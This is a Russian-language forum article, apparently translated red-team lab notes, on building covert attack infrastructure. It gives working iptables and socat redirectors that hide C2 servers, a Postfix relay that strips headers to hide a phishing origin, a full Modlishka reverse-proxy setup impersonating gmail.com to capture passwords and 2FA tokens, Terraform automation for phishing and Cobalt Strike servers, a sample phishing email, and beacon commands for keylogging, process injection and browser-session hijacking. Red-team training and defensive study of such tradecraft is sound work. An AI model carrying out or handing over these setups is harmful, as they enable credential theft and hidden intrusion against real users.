Статья Наступательная Безопасность - Инфраструктура Красной команды

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
HTTP-форвардеры/ретрансляторы

Сокрытие атакующих хостов с помощью редиректоров/ретранляторов трафика с помощью iptables или socat.

Цель

Редиректоры или ретранляторы трафика — это, по сути, прокси между сервером red teaming (скажем, сервером для отправки фишинговых писем или C2) и сервером-жертвой — жертва <> re-director <> team server.

Цель хоста редиректора, как обычно такая:

- Скрыть сервер красной команды, скрыв его IP-адрес. Другими словами, жертва увидит трафик, исходящий от хоста редиректора, а не от командного сервера.

- Если службы реагирования на инциденты обнаружат подозрительную активность, исходящую от перенаправителя, его можно "легко" вывести из эксплуатации и заменить другим, что "проще", чем перестраивать командный сервер.

Переадресация HTTP с помощью iptables

Я рассмотрю простые HTTP-серверы пересылки, которые просто прослушивают заданный интерфейс и порт и перенаправляют весь трафик, который они получают через этот порт, на порт прослушивателя на командном сервере.

Моё окружение в этой лаборатории такое:

- Командный сервер и порт прослушивания: 10.0.0.2:80

- Редирект хост и порт прослушивания: 10.0.0.5:80

- Хост жертвы: 10.0.0.11

Простой способ создать редиректор HTTP — использовать Linux-систему и ее возможности iptables.

Ниже показано, как превратить Linux-систему в редиректор HTTP. В этом случае весь HTTP-трафик на 10.0.0.5:80 (перенаправитель) будет перенаправлен на 10.0.0.2:80 (сервер группы):

iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.2:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1


Проверяем успешность создания правил iptables:

1667246659289.png


Тестирование iptables

Смоделируем упрощенный обратный шелл от системы-жертвы 10.0.0.11 к атакующей системе 10.0.0.2, используя нашу систему-перенаправитель 10.0.0.5 в качестве прокси, и проверим трафик, проходящий по проводу — если перенаправитель был настроен правильно, мы должны увидеть, что системы 10.0.0.11 и 10.0.0.2 не будут общаться напрямую - весь трафик будет проходить через ящик на 10.0.0.5 и 10.0.0.2 (атакующая система) не будет виден жертве 10.0.0.11:

1667246680116.png


При более внимательном рассмотрении трафика/диалогов между конечными точками мы ясно видим, что система-жертва 10.0.0.11 ни разу не взаимодействовала напрямую с атакующей системой 10.0.0.2 — все коммуникации проходили через хост-перенаправитель 10.0.0.5, как описано ранее:

1667246698453.png


Переадресация HTTP с помощью SOCAT

SOCAT — еще один инструмент, который можно использовать для переадресации трафика по "тупому пайпу". Среда в этом упражнении остается такой же, как и в предыдущем сценарии.

Настройка редиректора HTTP с помощью socat такая:

socat TCP4-LISTEN:80,fork TCP4:10.0.0.2:80

1667246729315.png
 
SMTP-форвардеры/ретрансляторы

SMTP редиректоры + удаление заголовков электронной почты

Настройка почтового сервера ретрансляции

Я собираюсь настроить почтовый сервер, который позже будет использоваться в качестве сервера ретрансляции SMTP. Во-первых, в Digital Ocean был создан новый дроплет Ubuntu:


1667247579101.png


Постфикс MTA был установлен на дроплете так:

apt-get install postfix


Во время установки постфикса я установил nodspot.com в качестве почтового имени. После установки это можно проверить/изменить здесь:

root@ubuntu-s-1vcpu-1gb-sfo2-01:~# cat /etc/mailname
nodspot.com

DNS-записи


Записи DNS для nodspot.com должны быть обновлены следующим образом:

1667247615425.png


1667247630603.png


Тестирование почтового сервера

После установки постфикса и настройки DNS-записей мы можем проверить, работает ли почтовый сервер:

telnet mail.nodspot.com 25


В случае успеха вы должны увидеть что-то вроде этого:

1667247646757.png


Мы можем дополнительно проверить, работает ли почтовый сервер, попытавшись отправить реальное электронное письмо следующим образом:

root@ubuntu-s-1vcpu-1gb-sfo2-01:~# sendmail mantvydo@gmail.com
yolo
,
.


Вскоре на мой gmail приходит письмо:

1667247667441.png


.. со следующими заголовками - все как положено. Обратите внимание, что на данный момент исходный IP-адрес, отображаемый в заголовках, — это IP-адрес моего дроплета 206.189.221.162:

Delivered-To: mantvydo@gmail.com
Received: by 2002:a81:1157:0:0:0:0:0 with SMTP id 84-v6csp5026946ywr;
Tue, 2 Oct 2018 12:22:38 -0700 (PDT)
X-Google-Smtp-Source: ACcGV62oH69fwYnfV1zg+o+jbTpjQIzIzASmjoIsXbbfvdevE0LlkY32jflNS/acOtNBXiwzxYxP
X-Received: by 2002:a62:6547:: with SMTP id z68-v6mr17716388pfb.20.1538508158395;
Tue, 02 Oct 2018 12:22:38 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1538508158; cv=none;
d=google.com; s=arc-20160816;
b=FpEgLAICLn66cI+DDvpIsStUrReQ8fArcreT7FyS8SYcFQXFiK44HDcxwVHXCA8Xxb
fUl+3HcerQEznHZMttZ4pZIMbN18pJS08wzuZdOlhGKAA2JSTkxGd+1PhJwDe1SFTYZc
NoARSHL9opemJKg5YqZNjSTDSTfk/QqaCbq7mQL9LAwCKzanGSNR/R/28WymYrdRACOR
GSmDCVvPaUaoemIP8+GwXkfU5Gkk49+F7t9Jbg23HKKq/YOhwF3ryeOEVfn74bhtZIkM
QcUzWn5WSL0lIm0nbd2t7677/wcabOg0TCoZj1IHg+I7yLXE7+QZOYX1TguKu16oZeqt
mTIA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
h=from:date:message-id;
bh=VSFU9fKoMQMmtQzPFdmefDuA+phTpwZXd9k5xGRzwRs=;
b=VZ2vHjhPUSs17PXAUDyjYzm0w5sdQYqFx7h9iirh/BF1krrl3MQg4QAgfeo0py9qZH
Xf8/9HmNe1pIgxnZiiZJeVijXeSHCIB4XkG4HYFJY2m/gQ9oZ4JSMfX/Kiw/CXEmbt71
YP5S7yQKQNkHw24XnP3WUeDDQ7XvENEfPIS+LlCVtQOPT8fM9TAWQReKz06idynolfhR
7P73wH8igwPea7586wdhSOtDYCURSMKTNVb8yP2eEPNBlP2u2jUrFImG2D2/lke4O6Iu
7zu96tCYEY9FVG11dPFheKlMjvMoL4rqPSAQ3zty4Cbi4Vy2Is6f/VF8AYZ34i0FJooj
eEkw==
ARC-Authentication-Results: i=1; mx.google.com;
spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Return-Path: <root@nodspot.com>
Received: from ubuntu-s-1vcpu-1gb-sfo2-01 ([206.189.221.162])
by mx.google.com with ESMTP id 38-v6si3160283pgr.237.2018.10.02.12.22.38
for <mantvydo@gmail.com>;
Tue, 02 Oct 2018 12:22:38 -0700 (PDT)
Received-SPF: pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) client-ip=206.189.221.162;
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Received: by ubuntu-s-1vcpu-1gb-sfo2-01 (Postfix, from userid 0) id DC6DD3F156; Tue,
2 Oct 2018 19:22:37 +0000 (UTC)
Message-Id: <20181002192237.DC6DD3F156@ubuntu-s-1vcpu-1gb-sfo2-01>
Date: Tue,
2 Oct 2018 19:22:31 +0000 (UTC)
From: root <root@nodspot.com>

yolo
,

Настройка исходящего почтового сервера


Нам нужно настроить исходный почтовый сервер, который будет использовать сервер, который мы настроили ранее, в качестве сервера ретрансляции. Для этого на своей атакующей машине я установил почтовый сервер postfix.

Следующее, что нужно сделать, это изменить /etc/postfix/main.cf и установить relayhost=nodspot.com, чтобы исходящие электронные письма из атакующей системы направлялись на почтовый сервер nodspot.com (сервер, который мы настроили выше) первый:

1667247700631.png


После внесения изменений и перезагрузки сервера postfix мы можем попробовать отправить тестовое письмо с атакующего сервера:

1667247711931.png


Если вы не получили электронное письмо, убедитесь, что сервер ретрансляции не запрещает доступ для атакующей машины. Если вы видите, что ваши электронные письма откладываются (на атакующей машине) с приведенным ниже сообщением, это именно то, что происходит:

1667247724898.png


Как только проблема с релеем будет решена, мы можем повторить тест и увидеть успешный релей:

1667247774895.png


На этот раз заголовки выглядят так:

1667247736537.png


Обратите внимание, что на этот раз мы наблюдаем детали исходного хоста, такие как имя хоста и IP-адрес — это нежелательно, и мы хотим отредактировать эту информацию.

Удаление конфиденциальных заголовков в Postfix

Нам нужно внести некоторые изменения в конфигурацию сервера ретрансляции, чтобы отредактировать заголовки исходящих писем.

Во-первых, давайте создадим на сервере файл, содержащий регулярные выражения, которые будут искать заголовки, которые мы хотим удалить:

/^Received:.*/ IGNORE
/^X-Originating-IP:/ IGNORE
/^X-Mailer:/ IGNORE
/^Mime-Version:/ IGNORE


Далее нам нужно изменить файл /etc/postfix/master.cf, включив в него следующую строку: -o header_checks=regexp:/etc/postfix/header_checks:

1667247808021.png


Это укажет серверу постфикса удалить заголовки из исходящих писем, которые соответствуют регулярным выражениям, найденным в файле, который мы создали выше.

Сохраните изменения и перезагрузите сервер postfix:

postmap /etc/postfix/header_checks
postfix reload


Теперь снова отправьте тестовое письмо с атакующей машины и проверьте заголовки этого письма:

1667247842381.png


1667247856586.png


Обратите внимание, как были удалены заголовки Received, раскрывающие исходную (атакующую) машину, чего мы и хотели добиться:

Delivered-To: mantvydo@gmail.com
Received: by 2002:a81:1157:0:0:0:0:0 with SMTP id 84-v6csp5668508ywr;
Wed, 3 Oct 2018 03:47:35 -0700 (PDT)
X-Google-Smtp-Source: ACcGV614wuffoVOsvFkTPPxCiRj0hgFwTIH7y3B4ziIaXfogLFjsoiFyYOdNVChhr+oRcL1axO+a
X-Received: by 2002:a17:902:a9cc:: with SMTP id b12-v6mr988630plr.198.1538563655360;
Wed, 03 Oct 2018 03:47:35 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1538563655; cv=none;
d=google.com; s=arc-20160816;
b=qhbzI+R3vHbkqwp2ALOEQ0ItUXU/fA1kEmYln1dBe0CmLELuIfourst4gZVYiU0tAf
sRx20Z5Vcqvv9w6s6f2gVp6crlOuoX2cSKJCn/HyRYKiDB5aVKpEYTDjQtGEBRLoL9xm
/T8+3PgV6CHy/KowoPeLugKg3t5mIh9pq+Ig8gG+VVKZcFyvUBJa9YEgBgVKcMwew8H6
x8WzIB2zyavpZLnbIi6SrtheYZAeSTMTwXRutqxZl0n4O/iZS4Y+ZVdRlYeXFXFNdtMK
JFaS1XVLR4hYXOzlQT1IC2yeQlqf+Q3FJukmkDlDTgw91ImfZa0HtQYQoo3LwKotp92Q
1HiQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
h=from:date:message-id;
bh=hZH42YPrA1C1YyKkQ/LM0S6pyh9p5LGmoqE/s4CGGts=;
b=Squ71HtAuuwYHfX+4z63WcgBMoiKbcX5KAQLKwfvlnXuF5QEJNHjfX0GwekViXJIZ5
D2v03648ni6W3/b6uXVoecrtX0MZ9Z/Ck+LxcJRi16toE4QfjR6fhX5l9OSKFjgqkst3
Exk9yB1iiX8IAoIvnSaT0pQ5UzOov5Yneti3HO8QbzeCnT1/HieLwIhB/d+znryw1mTQ
jj/VBlNEGFEJhpXjS7cbQFHQEz3yGl1YTSNB3Kxp9T5a7+ncsW3pOAlfKqNYpVywSlBe
s6OUSTZ/bEwVYP3dv9aHmbpOIV6rC8uPgUlm+SKYtlj9xiR9uXTtj21IbA0F1esFx+Up
jAQw==
ARC-Authentication-Results: i=1; mx.google.com;
spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Return-Path: <root@nodspot.com>
Received: from ubuntu-s-1vcpu-1gb-sfo2-01 ([206.189.221.162])
by mx.google.com with ESMTP id y11-v6si1190446plg.237.2018.10.03.03.47.35
for <mantvydo@gmail.com>;
Wed, 03 Oct 2018 03:47:35 -0700 (PDT)
Received-SPF: pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) client-ip=206.189.221.162;
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Message-Id: <20181003104734.1871F42006E@kali>
Date: Wed, 3 Oct 2018 11:47:28 +0100 (BST)
From: root <root@nodspot.com>

removing traces like a sir



Эта экспериментальная лабораторка не предназначена для работы с электронными письмами, помеченными Gmail как фишинговые. Это, однако, связано с настройкой записей DKIM, PTR и т.п.
 
Фишинг с обратным HTTP-прокси Modlishka

В этой лабораторной работе показано, как настроить реверс HTTP-прокси Modlishka, который можно использовать в фишинговых кампаниях для кражи паролей пользователей и токенов 2FA. Modlishka делает это возможным, потому что она находится посередине между веб-сайтом, который вы выдаете за хороший, и жертвой (MITM), записывая весь трафик/токены/ пароли, которые проходят через него.

Настрайка

Давайте начнем с создания нового дроплета DigitalOcean, самого маленького более чем достаточно:

1667248658005.png


После входа в систему установите certbot и загрузите сам бинарный файл Modlishka:

apt install certbot
wget https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64
chmod +x Modlishka-linux-amd64 ; ls -lah

1667248696665.png


Конфигурация Модлишки


Создадим конфигурационный файл для модлишки:

1667248706029.png


{
//domain that you will be tricking your victim of visiting
"proxyDomain": "redteam.me",
"listeningAddress": "0.0.0.0",

//domain that you want your victim to think they are visiting
"target": "gmail.com",
"targetResources": "",
"targetRules": "PC9oZWFkPg==:",
"terminateTriggers": "",
"terminateRedirectUrl": "",
"trackingCookie": "id",
"trackingParam": "id",
"jsRules":"",
"forceHTTPS": false,
"forceHTTP": false,
"dynamicMode": false,
"debug": true,
"logPostOnly": false,
"disableSecurity": false,
"log": "requests.log",
"plugins": "all",
"cert": "",
"certKey": "",
"certPool": ""
}

Подстановочные сертификаты


Важно! Давайте создадим подстановочный сертификат для моего домена. Я хочу, чтобы мои жертвы фишинга попадали на *.redteam.me:

certbot certonly --manual --preferred-challenges=dns --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d *.redteam.me --email noreply@live.com

Это сгенерирует код вызова, как показано ниже:

1667248741236.png


Нам нужно создать запись DNS TXT в консоли управления DNS для redteam.me, которая в моем случае находится в Digital Ocean:

1667248770470.png


После создания записи DNS TXT продолжите создание сертификата:

1667248779659.png


После создания сертификатов нам нужно преобразовать их в формат, подходящий для встраивания в объекты JSON:

awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/fullchain.pem
awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/privkey.pem


1667248800844.png


Как только это будет сделано, скопируйте содержимое сертификатов в конфигурацию — fullchain.pem в сертификат и privkey.pem в certKey:

1667248834728.png


Больше DNS-записей

Давайте создадим запись A для корневого хоста @, которая просто указывает на IP-адрес дроплета:

1667248847318.png


Это очень важно - нам нужна запись CNAME для любого хоста/субдомена *, указывающая на @

1667248855431.png


Запуск Modlishka

Теперь мы готовы начать тест, запустив modlishka и предоставив ей конфигурационный файл modlishka.json:

./Modlishka-linux-amd64 -config modlishka.json

Ниже показано, как при посещении redteam.me я получаю содержимое gmail.com, что свидетельствует о том, что Modlishka и MITM работают. Опять же, важно отметить это — мы не создавали никаких копий или шаблонов целевого веб-сайта — жертва на самом деле просматривает gmail, просто она обслуживается через Modlishka, где проверяется трафик и перехватываются пароли:

1667248880921.png
 
Автоматизация инфраструктуры Red Team с помощью Terraform

Контекст


Цель этой лабораторной работы состояла в том, чтобы не запачкать руки при создании простой, устойчивой и легко заменяемой инфраструктуры красной команды. Кроме того, я хотел поиграть с концепцией "Инфраструктура как код", поэтому я решил поработать с инструментом, о котором слышал уже некоторое время — Terraform.

Кредиты

Автоматизированная инфраструктура для работы с красными командами — не новая концепция, как раз наоборот. Я черпал вдохновение из замечательной работы @_RastaMouse (https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform-part-1/), где он объяснял свой процесс создания автоматизированной среды для красных команд. Он взял за основу отличную вики (https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) Стива Бороша и Джеффа Диммока — именно этот ресурс я использовал при лабораторных исследованиях ниже:

Обзор инфраструктуры

Ниже приведена диаграмма, показывающая инфраструктуру, которую я построил для этого лабораторного занятия. Она может быть и обычно гораздо более развита, но принцип остается тем же — перед каждым сервером размещаются перенаправители, чтобы сделать инфраструктуру более устойчивой к обнаружению, что позволяет операторам быстро заменить сгоревшие серверы на новые:

1667250259061.png


- Всего 6 серверов

- 3 сервера (фишинг, полезная нагрузка и c2) считаются долгосрочными серверами - мы не хотим, чтобы наши дружелюбные синие команды обнаружили их

- 3 редиректора (ретранслятор smtp, редиректор полезной нагрузки и редиректор c2) — это серверы, которые находятся перед нашими долгосрочными серверами и действуют как прокси. Предполагается, что эти серверы будут обнаружены и сожжены во время боя. Именно здесь вступает в действие часть автоматизации Terraform — поскольку состояние нашей среды определяется в файлах конфигурации Terraform, мы можем восстановить эти сгоревшие серверы практически мгновенно, и операция может продолжаться без больших перерывов.

Настройка инфраструктуры

Поставщики услуг


Инфраструктура моей тестовой команды Red Team построена с использованием следующих сервисов и поставщиков:

- DigitalOcean Droplets для всех серверов и редиректоров

- DigitalOcean DNS - управление для smtp-ретранслятора (фишинговый редиректор) — в основном потому, что нам нужна возможность установить запись PTR DNS для нашего smtp-ретранслятора, чтобы уменьшить вероятность того, что наша фишинговая электронная почта будет классифицирована как спам почтовыми шлюзами целевых пользователей.

- CloudFlare DNS менеджмент для управления записями DNS для любых других доменов, которые указывают на наши долгосрочные серверы.

Однако обратите внимание, что вы можете создавать свои серверы с помощью Amazon AWS или другого популярного поставщика VPS, если он поддерживается Terraform (https://www.terraform.io/docs/providers/) . То же самое относится к части управления DNS. Я использовал DigitalOcean и CloudFlare, потому что у меня уже были учетные записи, и они мне нравятся ¯\_(ツ)_/¯

Структура файла

Инфраструктура моей красной команды определяется файлами конфигурации состояния terraform, которые в настоящее время организованы следующим образом:

1667250285148.png


Я думаю, что имена файлов говорят сами за себя, но ниже приведена дополнительная информация о некоторых файлах конфигурации:

- Папка -Configs — все файлы конфигурации, которые были слишком большими или неудобными для изменения во время создания дроплета с помощью поставщиков Terraform. Он включает в себя конфигурации для перенаправителя полезной нагрузки (apache: .htaccess, apache2.conf), перенаправителя smtp (postfix: header_checks — для удаления заголовков электронной почты исходного smtp-сервера, master.cf — общая конфигурация постфикса для TLS и opendkim, opendkim.conf - настройка интеграции DKIM с постфиксом)

- providers - требуется для построения такой инфраструктуры, как DigitalOcean и CloudFlare в моем случае

- variables — хранит ключи API и аналогичные данные, используемые в разных файлах состояния terraform.

- sshkeys — хранит ssh-ключи, с которых наши серверы и редиректоры будут принимать вход в систему.

- dns — определяет записи DNS и указывает, как можно получить доступ к нашим серверам и редиректорам.

- брандмауэры - определить правила доступа - кто может получить доступ к какому серверу

- outputs — файл, который выводит ключевые IP-адреса и доменные имена построенной инфраструктуры

Другие ключевые моменты по паре файлов изложены ниже.

Переменные

Variables.tf хранит такие вещи, как токены API, имена доменов для редиректоров и c2, IP-адреса операторов, которые используются в правилах брандмауэра (т. е. разрешают входящие подключения к командному серверу или GoPhish только с IP-адреса, принадлежащего оператору):

1667250311472.png


Кроме того, variable.tf содержит ссылку на защищенный паролем zip-архив Cobalt Strike и сам пароль:

1667250322144.png



1667250329095.png


С2

Для этой лабораторной я выбрал Cobalt Strike в качестве C2-сервера.

Ниже приведен remote-exec Terraform для сервера C2, который загружает CS zip, распаковывает его с заданным паролем CS и создает задание cron, чтобы убедиться, что сервер C2 запущен после загрузки сервера:

1667250341962.png


C2 редиректор

Я использую socat, чтобы просто перенаправить весь входящий трафик через порты 80 и 443 на основной сервер HTTP C2, на котором работает командный сервер Cobalt Strike:

1667250351125.png


Тестирование C2 и C2 редиректора

Легко проверить, работают ли ваш C2 и его редиректоры должным образом.

Примечание ниже — пара полных доменных имен, которые были распечатаны Terraform при выполнении файла outputs.tf: static.redteam.me и ads.redteam.me оба указывают на 159.203.122.243 — это IP-адрес редиректора C2 — любой трафик на порту 80 и 443 будут перенаправлены на главный сервер C2, который размещен по адресу 68.183.150.191, как показано на втором изображении ниже:

1667250360296.png


1667250377337.png


Ниже гифка показывает тест в действии, а шаги следующие:

1. Cobalt Strike запускается и подключается к основному C2-серверу, расположенному по адресу 68.183.150.191, доступ к которому осуществляется через css.ired.team.

2. Создается новый слушатель на порту 443 на хосте C2 68.183.150.191.

3. Маячок hostsname настроен на два поддомена на редиректоре C2 - static.redteam.me и ads.redteam.me

4. Бесступенчатый маячок генерируется и выполняется в целевой системе через SMB.

5. Маячок обращается к *.redteam.me, который перенаправляет трафик на командный сервер C2 по адресу 68.183.150.191, и мы видим всплывающее окно сеанса CS:

1667250387183.png


Ниже приведен скриншот tcpdump на сервере C2, который показывает, что IP-адрес перенаправителя (organge, 159.203.122.243) инициировал подключение к C2 (синий, 68.183.150.191):

1667250396224.png


Фишинг

На моем фишинговом сервере работает платформа GoPhish, о которой я рассказываю здесь:


GoPhish настроен на прослушивание порта 3333, который я открываю для Интернета, но разрешаю доступ только оператору, использующему брандмауэры DigitalOcean:

1667250411204.png


Опять же - var.operator-ip прописывается в variable.tf

1667250423152.png


Фишинговый редиректор

Это была самая трудоемкая часть для настройки. Известно, что настройка SMTP-серверов обычно представляет собой огромную боль. Стоит автоматизировать инфраструктуру красной команды только потому, что вам никогда не придется перестраивать SMTP-сервер с нуля, если он сгорит во время боя.

Боль для этой части возникла из-за настройки релея smtp, поскольку в нем было несколько активных частей:

- настройка SPF-записей

- настройка ДКИМ

- настройка шифрования

- настройка постфикса как ретранслятора

- очистка заголовков электронной почты для сокрытия исходного почтового сервера (фишингового сервера)

Тестирование фишингового редиректора

После того, как инфраструктура настроена, DNS-зона фишингового редиректора (smtp relay) должна иметь записи spf, dkim и dmarc, аналогичные приведенным здесь:

1667250440436.png


После того, как записи DNS сделаны, мы можем отправить быстрое тестовое электронное письмо на gmail с фактического фишингового сервера через сервер ретрансляции и посмотреть, проверяют ли spf, dkim и dmarc PASS, что, как мы видим ниже, они сделали в нашем случае, предполагая фишинг/smtp реле настроено правильно:

telnet redteam.me 25
helo redteam.me
mail from: olasenor@redteam.me
rcpt to: mantvydo@gmail.com
data
to: Mantvydas Baranauskas <mantvydo@gmail.com>
from: Ola Senor <olasenor@redteam.me>
subject: daily report

Hey Mantvydas,
As you were requesting last week - attaching as promised the documents needed to keep the project going forward.

Перенаправитель полезной нагрузки


Сервер перенаправления полезной нагрузки построен на модулях apache2 mod_rewrite и прокси. Модуль Mod_rewrite позволяет нам писать подробные правила перезаписи URL-адресов и HTTP-запросы прокси-жертвы для соответствующих полезных данных, которые оператор сочтет целесообразными.

1667250466437.png


Ниже приведен файл .htaccess, который инструктирует apache, или, если быть точным, модуль mod_rewrite, когда, где и как (например, прокси или перенаправление) переписывать входящие HTTP-запросы:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "android|blackberry|googlebot-mobile|iemobile|ipad|iphone|ipod|opera mobile|palmos|webos" [NC]
RewriteRule ^.*$ http://payloadURLForMobiles/login [P]
RewriteRule ^.*$ http://payloadURLForOtherClients/%{REQUEST_URI} [P]


Разбивка файла:

- Строка 2 по сути говорит: эй, apache, если вы видите входящий HTTP-запрос с пользовательским агентом, который содержит любое из слов "android, blackberry, ..." и т. д., перейдите к строке 3.

- Строка 3 инструктирует apache проксировать ([P]) http-запрос на http://payloadURLForMobiles/login.Если условие в строке 2 не выполняется, перейти к строке 4

- Если условие в строке 2 не выполняется, HTTP-запрос передается на http://payloadURLForOtherClients/%{REQUEST_URI}, где REQUEST_URI — это часть http-запроса, добавленная после имени домена, т. е. someDomain.com/?thisIsTheRequestUri=true.

Скриншот ниже должен иллюстрировать вышеуказанную концепцию:

1. Зеленая подсветка — мы использовали curl (и его UA по умолчанию), который, согласно файлу .htaccess, должен был перенаправить нас на payloadURLForOtherClients — что, как мы видим, он пытался сделать, но, конечно, потерпел неудачу, поскольку это тест и неразрешимая хост указан

2. Розовый цвет — мы снова свернули редиректор полезной нагрузки, но на этот раз с поддельным UA, маскируя HTTP-запрос, как если бы он исходил от iphone — мы видим, что apache правильно попытался передать запрос через хост payloadURLForMobiles :

1667250505543.png


Вывод

Outputs.tf содержит DNS-имена ключевых серверов и их IP-адреса для справки оператору:

1667250518704.png


Также обратите внимание на последний выделенный бит — указание оператору выполнить команду ./finalize.sh из рабочего каталога. Он установит сертификаты LetsEncrypt на сервер ретрансляции smtp, а также распечатает TXT-запись DKIM DNS, которую необходимо добавить в записи DNS DigitalOcean для домена ретрансляции smtp:

1667250529361.png


Для удобства создается DNS-запись mail._domainkey с фиктивным значением "Я DKIM, но измените DKIM из finalize.sh" (файл dns.tr) — это значение необходимо заменить выделенным выше значением DKIM. Это предоставляется сценарием finalize.sh.

В идеале этот шаг должен быть автоматизирован во время начальной загрузки дроплета, но я пока не мог этого сделать из-за некоторых ошибок Terraform, с которыми столкнулся.

Ниже показаны (сверху вниз):

- Конфигурация terraform, которая устанавливает новый заполнитель записи DNS TXT для DKIM.

- Тerraform создание записи DNS TXT на основе приведенной выше конфигурации из dns.tf

- Фактический результат - заполнитель записи DNS TXT для домена redteam.me

1667250543326.png


Скачать и попробовать

Если вы хотите протестировать эту настройку, не стесняйтесь загружать файлы конфигурации отсюда:

 
Cobalt Strike 101

Эта лабораторная предназначена для изучения расширенного инструмента тестирования на проникновение/пост-эксплуатации Cobalt Strike.

Определения

- Listener — служба, работающая на C2-сервере атакующего, которая прослушивает обратные вызовы маячка.

- Beacon — вредоносный агент/имплантат на скомпрометированной системе, который обращается к системе, контролируемой злоумышленником, и проверяет любые новые команды, которые должны быть выполнены на скомпрометированной системе.

- Team server — серверный компонент Cobalt Strike. Командный сервер — это место, где настраиваются и запускаются прослушиватели маяков.

Приступим

Командный сервер

# the syntax is ./teamserver <serverIP> <password> <~killdate> <~profile>
# ~ optional for now
root@/opt/cobaltstrike# ./teamserver 10.0.0.5 password


Обратите внимание, что в реальных условиях работы с красными командами вы размещаете серверы групп за перенаправителями, чтобы повысить устойчивость вашей атакующей инфраструктуры. См. инфраструктуру Red Team (https://www.ired.team/offensive-security/red-team-infrastructure)

1667251258500.png


Клиент Cobalt Strike

root@/opt/cobaltstrike# ./cobaltstrike


Введите следующее:

- host — IP-адрес или DNS-имя командного сервера.

- user - что угодно - это просто никнейм

- password - пароль вашего командного сервера

1667251278501.png


Демо

Все вышеперечисленные шаги показаны ниже в одной анимированной гифке:

1667251288890.png


Настройка прослушивателя

Дайте вашему слушателю описательное имя и номер порта, к которому командный сервер должен привязываться и слушать:

1667251298813.png


Генерация бесступенчатой полезной нагрузки

Создайте автономный исполняемый маячок — выберите прослушиватель, к которому будет подключаться ваша полезная нагрузка, и архитектуру полезной нагрузки, и все готово:

1667251308394.png


Получение первого коллбэка


Слева — машина-жертва, выполняющая ранее сгенерированный маячок, а справа — клиент Cobalt strike, подключенный к командному серверу и перехватывающий обратный вызов маячка:

1667251318844.png


Взаимодействие с маячком

Щелкните правой кнопкой мыши маячокк и выберите взаимодействие. Обратите внимание на новую вкладку, открывающуюся внизу страницы, которая позволяет злоумышленнику отдавать команды маячку:

1667251328253.png


Интересные команды и функции

Argue


Команда Argue позволяет злоумышленнику подделать аргументы командной строки запускаемого процесса.

Ниже приведены поддельные параметры командной строки калькулятора:

beacon> argue calc /spoofed
beacon> run calc

1667251345564.png


Обратите внимание на различия в параметрах командной строки, захваченных в sysmon и procexp:

1667251484732.png


Подмена аргумента выполняется путем манипулирования структурами памяти в блоке Process Environment, о котором у меня есть некоторые примечания:

Inject

Inject очень похож на функцию migrate metasploit и позволяет злоумышленнику дублировать свой маяк в другой процесс в системе-жертве:

beacon> help inject
Use: inject [pid] <x86|x64> [listener]

inject 776 x64 httplistener


Обратите внимание, как после внедрения маячка в PID 776 создается еще один сеанс:

1667252045957.png


Кейлоггер

beacon> keylogger 1736 x64

1667252070638.png


Скриншот

beacon> screenshot 1736 x64

Runu


Runu позволяет нам запускать новый процесс из указанного родительского процесса:

runu 2316 calc

1667252098531.png


Psinject


Эта функция позволяет злоумышленнику выполнять сценарии PowerShell из-под любого процесса в системе-жертве. Обратите внимание, что PID 2872 — это процесс calc.exe, показанный на снимке экрана выше, связанный с runu:

beacon> psinject 2872 x64 get-childitem c:\


1667252114916.png


Зеленым цветом выделены новые дескрипторы, которые открываются в целевом процессе при внедрении скрипта powershell:

1667252123493.png


Spawnu

Создайте сеанс с полезной нагрузкой powershell из заданного родительского PID:

beacon> spawnu 3848 httplistener


1667252140821.png


1667252148030.png


Пивотинг браузера

Эта функция позволяет злоумышленнику использовать сеансы просмотра скомпрометированных пользователей.

Как работает эта атака, лучше всего объяснить на примере:

- Жертва входит в какое-то веб-приложение с помощью Internet Explorer.

- Зоумышленник/оператор создает пивотинг браузера, выполнив команду browserpivot.

- Маячок создает прокси-сервер в системе-жертве (точнее, в процессе Internet Explorer), привязывая и прослушивая порт, скажем, 6605.

- Командный сервер связывается и начинает прослушивать порт, скажем, 33912

- Злоумышленник теперь может использовать свой командный сервер: 33912 в качестве веб-прокси. Весь трафик, проходящий через этот прокси-сервер, будет перенаправляться/обходить прокси-сервер, открытый в системе-жертве, через процесс Internet Explorer (порт 6605). Поскольку Internet Explorer использует библиотеку WinINet для управления веб-запросами и аутентификацией, веб-запросы злоумышленника будут повторно аутентифицированы, что позволит злоумышленнику просматривать те же приложения, к которым у жертвы есть активные сеансы, без запроса входа в систему.

Браузер разворачивается так:

beacon> browserpivot 244 x86

Обратите внимание, как iexplore.exe открыл порт 6605 для прослушивания, как упоминалось ранее:

1667252174698.png


Ниже показана атака визуально. Слева — система-жертва, вошедшая в какое-то приложение, а справа — идентификатор злоумышленника, который пытается получить доступ к тому же приложению и получает экран входа в систему, поскольку они не аутентифицированы:

